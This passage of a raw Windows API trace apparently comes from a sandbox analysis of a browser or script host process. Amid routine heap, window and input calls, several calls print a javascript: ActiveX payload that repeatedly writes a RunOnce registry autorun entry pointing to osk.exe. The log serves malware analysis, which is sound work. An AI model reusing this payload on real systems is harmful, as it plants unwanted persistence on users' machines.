Flags=0x0, Size=0x20) returned 0xa3a690 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa3a410 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa3a708 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa3a370 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x400) returned 0xa0b5b0 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x128) returned 0xa0b438 [0254.677] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x11c) returned 0xa0b9b8 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x108) returned 0xa4bc88 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x130) returned 0xa4bd98 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x110) returned 0xa4bed0 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x278) returned 0xa4bfe8 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xc8) returned 0xa0ab48 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x190) returned 0xa4c268 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x78) returned 0x9fc938 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xf0) returned 0xa4c400 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4c) returned 0xa26860 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x194) returned 0xa4c4f8 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xc8) returned 0xa49bd8 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x190) returned 0xa4cae0 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x108) returned 0xa4cc78 [0254.678] LsSetModWidthPairs () returned 0x0 [0254.678] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x240) returned 0xa4cd88 [0254.679] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0xa306f8 [0254.679] LsSetBreaking () returned 0x0 [0254.679] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x271) returned 0xa4cfd0 [0254.679] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xa) returned 0xa4a120 [0254.679] LsSetDoc () returned 0x0 [0254.679] IClassFactory:LockServer (This=0x494c350, fLock=1) returned 0x0 [0254.679] IClassFactory:LockServer (This=0x494c360, fLock=1) returned 0x0 [0254.679] IClassFactory:LockServer (This=0x494c370, fLock=1) returned 0x0 [0254.679] IClassFactory:LockServer (This=0x494c380, fLock=1) returned 0x0 [0254.679] LsCreateLine () returned 0x0 [0254.680] RtlInitializeConditionVariable (in: ConditionVariable=0x49a6298 | out: ConditionVariable=0x49a6298) [0254.680] RtlInitializeConditionVariable (in: ConditionVariable=0x49a62c8 | out: ConditionVariable=0x49a62c8) [0254.735] D2D1CreateFactory () returned 0x0 [0254.740] LdrResolveDelayLoadedAPI () returned 0x70a54a70 [0254.772] DWriteCreateFactory () returned 0x0 [0254.773] CreateDXGIFactory1 () returned 0x0 [0254.774] GetTickCount () returned 0x3efef [0254.774] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0254.775] LdrResolveDelayLoadedAPI () returned 0x71cd4e30 [0254.775] D3D11CreateDevice () returned 0x0 [0254.797] GetTickCount () returned 0x3f00e [0254.806] _vsnwprintf (in: _Buffer=0x95d780, _BufferCount=0x18f, _Format="vendorId=\"0x%x\",deviceID=\"0x%x\",subSysID=\"0x%x\",revision=\"0x%x\",version=\"%d.%d.%d.%d\"hypervisor=\"%s (%s)\"", _ArgList=0x95d424 | out: _Buffer="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.447\"hypervisor=\"No Hypervisor (No SLAT)\"") returned 124 [0254.806] wcsncmp (_String1="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.447\"hypervisor=\"No Hypervisor (No SLAT)\"", _String2="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.447\"hypervisor=\"No Hypervisor (No SLAT)\"", _MaxCount=0x190) returned 0 [0254.862] GetACP () returned 0x4e4 [0254.862] _ultow_s (in: _Value=0x4e4, _Buffer=0x95dcde, _BufferCount=0xb, _Radix=10 | out: _Buffer="1252") returned 0x0 [0254.862] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="EUDC\\1252", ulOptions=0x0, samDesired=0x20019, phkResult=0x95dcd0 | out: phkResult=0x95dcd0*=0x0) returned 0x2 [0254.864] LsQueryLineDup () returned 0x0 [0254.864] LsDestroyLine () returned 0x0 [0254.865] GetFocus () returned 0x60210 [0254.865] GetFocus () returned 0x60210 [0254.869] GetCursorPos (in: lpPoint=0x95eec8 | out: lpPoint=0x95eec8*(x=1000, y=495)) returned 1 [0254.869] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95eec8 | out: lpPoint=0x95eec8) returned 1 [0254.869] GetKeyState (nVirtKey=16) returned 0 [0254.869] GetKeyState (nVirtKey=17) returned 0 [0254.869] GetKeyState (nVirtKey=18) returned 0 [0254.869] GetKeyState (nVirtKey=160) returned 0 [0254.869] GetKeyState (nVirtKey=162) returned 0 [0254.870] GetKeyState (nVirtKey=164) returned 0 [0254.870] GetCapture () returned 0x0 [0254.870] GetCurrentThreadId () returned 0xe38 [0254.870] GetFocus () returned 0x60210 [0254.870] GetCursorPos (in: lpPoint=0x95eec8 | out: lpPoint=0x95eec8*(x=1000, y=495)) returned 1 [0254.871] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95eec8 | out: lpPoint=0x95eec8) returned 1 [0254.871] GetKeyState (nVirtKey=16) returned 0 [0254.871] GetKeyState (nVirtKey=17) returned 0 [0254.871] GetKeyState (nVirtKey=18) returned 0 [0254.871] GetKeyState (nVirtKey=160) returned 0 [0254.871] GetKeyState (nVirtKey=162) returned 0 [0254.871] GetKeyState (nVirtKey=164) returned 0 [0254.871] GetCurrentThreadId () returned 0xe38 [0254.872] GetCursorPos (in: lpPoint=0x95eec8 | out: lpPoint=0x95eec8*(x=1000, y=495)) returned 1 [0254.872] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95eec8 | out: lpPoint=0x95eec8) returned 1 [0254.872] GetKeyState (nVirtKey=16) returned 0 [0254.872] GetKeyState (nVirtKey=17) returned 0 [0254.872] GetKeyState (nVirtKey=18) returned 0 [0254.872] GetKeyState (nVirtKey=160) returned 0 [0254.872] GetKeyState (nVirtKey=162) returned 0 [0254.872] GetKeyState (nVirtKey=164) returned 0 [0254.872] GetCapture () returned 0x0 [0254.872] GetCurrentThreadId () returned 0xe38 [0254.873] GetCursorPos (in: lpPoint=0x95eec8 | out: lpPoint=0x95eec8*(x=1000, y=495)) returned 1 [0254.873] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95eec8 | out: lpPoint=0x95eec8) returned 1 [0254.873] GetKeyState (nVirtKey=16) returned 0 [0254.873] GetKeyState (nVirtKey=17) returned 0 [0254.873] GetKeyState (nVirtKey=18) returned 0 [0254.873] GetKeyState (nVirtKey=160) returned 0 [0254.873] GetKeyState (nVirtKey=162) returned 0 [0254.873] GetKeyState (nVirtKey=164) returned 0 [0254.873] GetCapture () returned 0x0 [0254.874] GetCurrentThreadId () returned 0xe38 [0254.874] GetCursorPos (in: lpPoint=0x95eec8 | out: lpPoint=0x95eec8*(x=1000, y=495)) returned 1 [0254.874] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95eec8 | out: lpPoint=0x95eec8) returned 1 [0254.874] GetKeyState (nVirtKey=16) returned 0 [0254.874] GetKeyState (nVirtKey=17) returned 0 [0254.874] GetKeyState (nVirtKey=18) returned 0 [0254.874] GetKeyState (nVirtKey=160) returned 0 [0254.874] GetKeyState (nVirtKey=162) returned 0 [0254.875] GetKeyState (nVirtKey=164) returned 0 [0254.875] GetCurrentThreadId () returned 0xe38 [0254.875] GetCursorPos (in: lpPoint=0x95eec8 | out: lpPoint=0x95eec8*(x=1000, y=495)) returned 1 [0254.876] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95eec8 | out: lpPoint=0x95eec8) returned 1 [0254.876] GetKeyState (nVirtKey=16) returned 0 [0254.876] GetKeyState (nVirtKey=17) returned 0 [0254.876] GetKeyState (nVirtKey=18) returned 0 [0254.876] GetKeyState (nVirtKey=160) returned 0 [0254.876] GetKeyState (nVirtKey=162) returned 0 [0254.876] GetKeyState (nVirtKey=164) returned 0 [0254.876] GetCurrentThreadId () returned 0xe38 [0254.877] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0xa05470, hWnd=0x60210, phIMC=0x95f378 | out: phIMC=0x95f378*=0xb0109) returned 0x0 [0254.877] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0xa05470, hWnd=0x60210, hIME=0x0, phPrev=0x95f378 | out: phPrev=0x95f378*=0xb0109) returned 0x0 [0254.879] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0254.879] GetKeyState (nVirtKey=1) returned 0 [0254.879] GetKeyState (nVirtKey=2) returned 0 [0254.879] GetKeyState (nVirtKey=16) returned 0 [0254.879] GetKeyState (nVirtKey=17) returned 0 [0254.879] GetKeyState (nVirtKey=4) returned 0 [0254.879] GetKeyState (nVirtKey=18) returned 0 [0254.879] GetMessageTime () returned 257750 [0254.879] GetMessagePos () returned 0x1ef03e8 [0254.880] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x95eebc | out: plResult=0x95eebc) returned 0x0 [0254.880] GetCurrentThreadId () returned 0xe38 [0254.881] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0254.881] GetKeyState (nVirtKey=1) returned 0 [0254.881] GetKeyState (nVirtKey=2) returned 0 [0254.881] GetKeyState (nVirtKey=16) returned 0 [0254.881] GetKeyState (nVirtKey=17) returned 0 [0254.881] GetKeyState (nVirtKey=4) returned 0 [0254.881] GetKeyState (nVirtKey=18) returned 0 [0254.881] GetMessageTime () returned 257750 [0254.881] GetMessagePos () returned 0x1ef03e8 [0254.881] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xa05470, hWnd=0x60210, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x95eebc | out: plResult=0x95eebc) returned 0x0 [0254.882] GetCurrentThreadId () returned 0xe38 [0254.882] CActiveIMMAppEx_Trident:IActiveIMMApp:ReleaseContext (This=0xa05470, hWnd=0x60210, hIMC=0xb0109) returned 0x0 [0254.882] GetFocus () returned 0x60210 [0254.882] GetFocus () returned 0x60210 [0254.883] IUnknown:AddRef (This=0x9f1a44) returned 0x6 [0254.883] IUri:GetScheme (in: This=0x9f1a44, pdwScheme=0x95e4c0 | out: pdwScheme=0x95e4c0*=0xf) returned 0x0 [0254.883] IUri:GetDisplayUri (in: This=0x9f1a44, pbstrDisplayString=0x95e4b8 | out: pbstrDisplayString=0x95e4b8*="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0254.883] GetWindowTextW (in: hWnd=0x80030, lpString=0x95e04c, nMaxCount=512 | out: lpString="") returned 0 [0254.883] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0xd, wParam=0x200, lParam=0x95e04c) returned 0x0 [0254.883] SetWindowTextW (hWnd=0x80030, lpString="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 1 [0254.883] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0xc, wParam=0x0, lParam=0xa05a2c) returned 0x1 [0254.885] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.885] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0254.885] SendMessageW (hWnd=0x10020a, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0254.885] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0254.888] SendMessageW (hWnd=0x80030, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0254.888] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0254.889] SetWindowLongW (hWnd=0x80030, nIndex=-16, dwNewLong=-2100363264) returned -2033254400 [0254.889] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7c, wParam=0xfffffff0, lParam=0x95ee9c) returned 0x0 [0254.889] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7d, wParam=0xfffffff0, lParam=0x95ee9c) returned 0x0 [0254.890] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x10027 [0254.891] SetWindowLongW (hWnd=0x80030, nIndex=-20, dwNewLong=262144) returned 262400 [0254.891] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7c, wParam=0xffffffec, lParam=0x95ee9c) returned 0x0 [0254.891] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7d, wParam=0xffffffec, lParam=0x95ee9c) returned 0x0 [0254.892] SetWindowPos (hWnd=0x80030, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0254.892] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x46, wParam=0x0, lParam=0x95eeac) returned 0x0 [0254.892] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x83, wParam=0x1, lParam=0x95ee84) returned 0x0 [0254.894] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x47, wParam=0x0, lParam=0x95eeac) returned 0x0 [0254.895] GlobalAddAtomW (lpString=0x0) returned 0x0 [0254.895] SetPropW (hWnd=0x10020a, lpString=0x0, hData=0x10020a) returned 0 [0254.895] ShowWindow (hWnd=0x80030, nCmdShow=0) returned 0 [0254.895] UpdateWindow (hWnd=0x80030) returned 1 [0254.895] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0 [0254.895] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0254.895] GetCurrentThreadId () returned 0xe38 [0254.895] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0 [0254.895] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0254.895] GetCurrentThreadId () returned 0xe38 [0254.895] GetCursorPos (in: lpPoint=0x95ed80 | out: lpPoint=0x95ed80*(x=1000, y=495)) returned 1 [0254.896] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95ed80 | out: lpPoint=0x95ed80) returned 1 [0254.896] GetKeyState (nVirtKey=16) returned 0 [0254.896] GetKeyState (nVirtKey=17) returned 0 [0254.896] GetKeyState (nVirtKey=18) returned 0 [0254.896] GetKeyState (nVirtKey=160) returned 0 [0254.896] GetKeyState (nVirtKey=162) returned 0 [0254.896] GetKeyState (nVirtKey=164) returned 0 [0254.896] GetFocus () returned 0x60210 [0254.896] GetCursorPos (in: lpPoint=0x95ecf0 | out: lpPoint=0x95ecf0*(x=1000, y=495)) returned 1 [0254.896] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95ecf0 | out: lpPoint=0x95ecf0) returned 1 [0254.896] GetKeyState (nVirtKey=16) returned 0 [0254.896] GetKeyState (nVirtKey=17) returned 0 [0254.896] GetKeyState (nVirtKey=18) returned 0 [0254.896] GetKeyState (nVirtKey=160) returned 0 [0254.896] GetKeyState (nVirtKey=162) returned 0 [0254.896] GetKeyState (nVirtKey=164) returned 0 [0254.897] GetCursorPos (in: lpPoint=0x95ecf8 | out: lpPoint=0x95ecf8*(x=1000, y=495)) returned 1 [0254.897] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95ecf8 | out: lpPoint=0x95ecf8) returned 1 [0254.897] GetKeyState (nVirtKey=16) returned 0 [0254.897] GetKeyState (nVirtKey=17) returned 0 [0254.897] GetKeyState (nVirtKey=18) returned 0 [0254.897] GetKeyState (nVirtKey=160) returned 0 [0254.897] GetKeyState (nVirtKey=162) returned 0 [0254.897] GetKeyState (nVirtKey=164) returned 0 [0254.897] IsWinEventHookInstalled (event=0x8000) returned 1 [0254.897] NotifyWinEvent (event=0x8000, hwnd=0x60210, idObject=0, idChild=0) [0254.897] StrCmpICW (pszStr1="about:blank", pszStr2="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned -9 [0254.898] StrCmpICW (pszStr1="about:blank", pszStr2="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned -9 [0254.898] IUnknown:AddRef (This=0x9f1a44) returned 0x6 [0254.898] IUnknown:AddRef (This=0x9f2ba8) returned 0x2 [0254.898] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);", pdwZone=0x95eefc, dwFlags=0x0 | out: pdwZone=0x95eefc*=0xffffffff) returned 0x800c0011 [0254.898] IUnknown:Release (This=0x9f2ba8) returned 0x1 [0254.898] IUnknown:Release (This=0x9f1a44) returned 0x5 [0254.898] GetCurrentThreadId () returned 0xe38 [0254.899] QueryPerformanceCounter (in: lpPerformanceCount=0x95f378 | out: lpPerformanceCount=0x95f378*=25820119826) returned 1 [0254.899] SetEvent (hEvent=0x374) returned 1 [0254.901] GetCursorPos (in: lpPoint=0x95f2b8 | out: lpPoint=0x95f2b8*(x=1000, y=495)) returned 1 [0254.901] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f2b8 | out: lpPoint=0x95f2b8) returned 1 [0254.901] GetKeyState (nVirtKey=16) returned 0 [0254.901] GetKeyState (nVirtKey=17) returned 0 [0254.901] GetKeyState (nVirtKey=18) returned 0 [0254.901] GetKeyState (nVirtKey=160) returned 0 [0254.901] GetKeyState (nVirtKey=162) returned 0 [0254.901] GetKeyState (nVirtKey=164) returned 0 [0254.902] GetFocus () returned 0x60210 [0254.902] GetCurrentThreadId () returned 0xe38 [0254.902] IsWinEventHookInstalled (event=0x8005) returned 1 [0254.902] NotifyWinEvent (event=0x8005, hwnd=0x60210, idObject=1, idChild=0) [0254.905] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0254.905] GetProcAddress (hModule=0x71fa0000, lpProcName="LresultFromObject") returned 0x71faf590 [0254.906] LresultFromObject () returned 0xc182 [0254.908] GetCurrentThreadId () returned 0xe38 [0254.912] GetCurrentThreadId () returned 0xe38 [0254.912] GetCursorPos (in: lpPoint=0x95f250 | out: lpPoint=0x95f250*(x=1000, y=495)) returned 1 [0254.913] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f250 | out: lpPoint=0x95f250) returned 1 [0254.913] GetKeyState (nVirtKey=16) returned 0 [0254.913] GetKeyState (nVirtKey=17) returned 0 [0254.913] GetKeyState (nVirtKey=18) returned 0 [0254.913] GetKeyState (nVirtKey=160) returned 0 [0254.913] GetKeyState (nVirtKey=162) returned 0 [0254.913] GetKeyState (nVirtKey=164) returned 0 [0254.913] GetCursorPos (in: lpPoint=0x95f258 | out: lpPoint=0x95f258*(x=1000, y=495)) returned 1 [0254.913] ScreenToClient (in: hWnd=0x60210, lpPoint=0x95f258 | out: lpPoint=0x95f258) returned 1 [0254.913] GetKeyState (nVirtKey=16) returned 0 [0254.913] GetKeyState (nVirtKey=17) returned 0 [0254.913] GetKeyState (nVirtKey=18) returned 0 [0254.913] GetKeyState (nVirtKey=160) returned 0 [0254.913] GetKeyState (nVirtKey=162) returned 0 [0254.913] GetKeyState (nVirtKey=164) returned 0 [0254.914] IsWinEventHookInstalled (event=0x8005) returned 1 [0254.914] NotifyWinEvent (event=0x8005, hwnd=0x60210, idObject=0, idChild=0) [0254.914] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0254.914] LresultFromObject () returned 0xc182 [0254.916] GetCurrentThreadId () returned 0xe38 [0254.921] GetCurrentThreadId () returned 0xe38 [0254.921] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0254.922] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.922] DispatchMessageW (lpMsg=0x95f69c) [0254.922] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0254.923] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0254.924] PeekMessageW (lpMsg=0x95f4b4, hWnd=0x2021a, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3) [0254.924] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0254.924] GetWindowThreadProcessId (in: hWnd=0x701f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0254.924] GetCurrentThreadId () returned 0xe38 [0254.924] PostMessageW (hWnd=0x701f8, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0254.927] GetFocus () returned 0x60210 [0254.927] GetCursorPos (in: lpPoint=0x95f33c | out: lpPoint=0x95f33c*(x=1000, y=495)) returned 1 [0254.927] WindowFromPoint (Point=0x3e5) returned 0x100f8 [0254.927] GetTickCount64 () returned 0x3f09b [0254.927] GetFocus () returned 0x60210 [0254.928] GetClientRect (in: hWnd=0x60210, lpRect=0x494e494 | out: lpRect=0x494e494) returned 1 [0254.928] CreateRectRgnIndirect (lprect=0x95ee48) returned 0x34040702 [0254.928] MapWindowPoints (in: hWndFrom=0x60210, hWndTo=0x0, lpPoints=0x95ee88, cPoints=0x1 | out: lpPoints=0x95ee88) returned 13959358 [0254.928] GetRandomRgn (hdc=0x9101065d, hrgn=0x34040702, i=4) returned 1 [0254.929] OffsetRgn (hrgn=0x34040702, x=-190, y=-213) returned 1 [0254.929] MapWindowPoints (in: hWndFrom=0x60210, hWndTo=0x0, lpPoints=0x95ee98, cPoints=0x1 | out: lpPoints=0x95ee98) returned 13959358 [0254.929] GetRegionData (in: hrgn=0x34040702, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x20 [0254.929] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0xa81330 [0254.929] GetRegionData (in: hrgn=0x34040702, nCount=0x20, lpRgnData=0xa81330 | out: lpRgnData=0xa81330) returned 0x20 [0254.929] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa81330 | out: hHeap=0x9d0000) returned 1 [0254.929] DeleteObject (ho=0x34040702) returned 1 [0254.929] ReleaseDC (hWnd=0x60210, hDC=0x9101065d) returned 1 [0254.934] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.934] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.934] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.934] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.934] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.934] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.934] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.934] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.935] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.935] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.935] DispatchMessageW (lpMsg=0x95f69c) [0254.935] GetWindowLongW (hWnd=0x60210, nIndex=-21) returned 76972032 [0254.936] KillTimer (hWnd=0x60210, uIDEvent=0x1000) returned 1 [0254.937] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.937] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.937] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.938] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.938] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.938] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.938] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.938] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.938] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.939] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.941] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.942] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.942] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.942] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.942] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.942] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.942] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.943] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.943] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.943] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.943] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.943] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.943] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.944] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.944] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.944] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.944] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.944] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.944] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.945] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.945] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.945] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.945] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0254.945] TranslateMessage (lpMsg=0x95f69c) returned 0 [0254.945] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0254.946] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0254.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb29d5fcc, dwHighDateTime=0x1d4f110)) [0254.946] GetTickCount () returned 0x3f0aa [0254.946] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 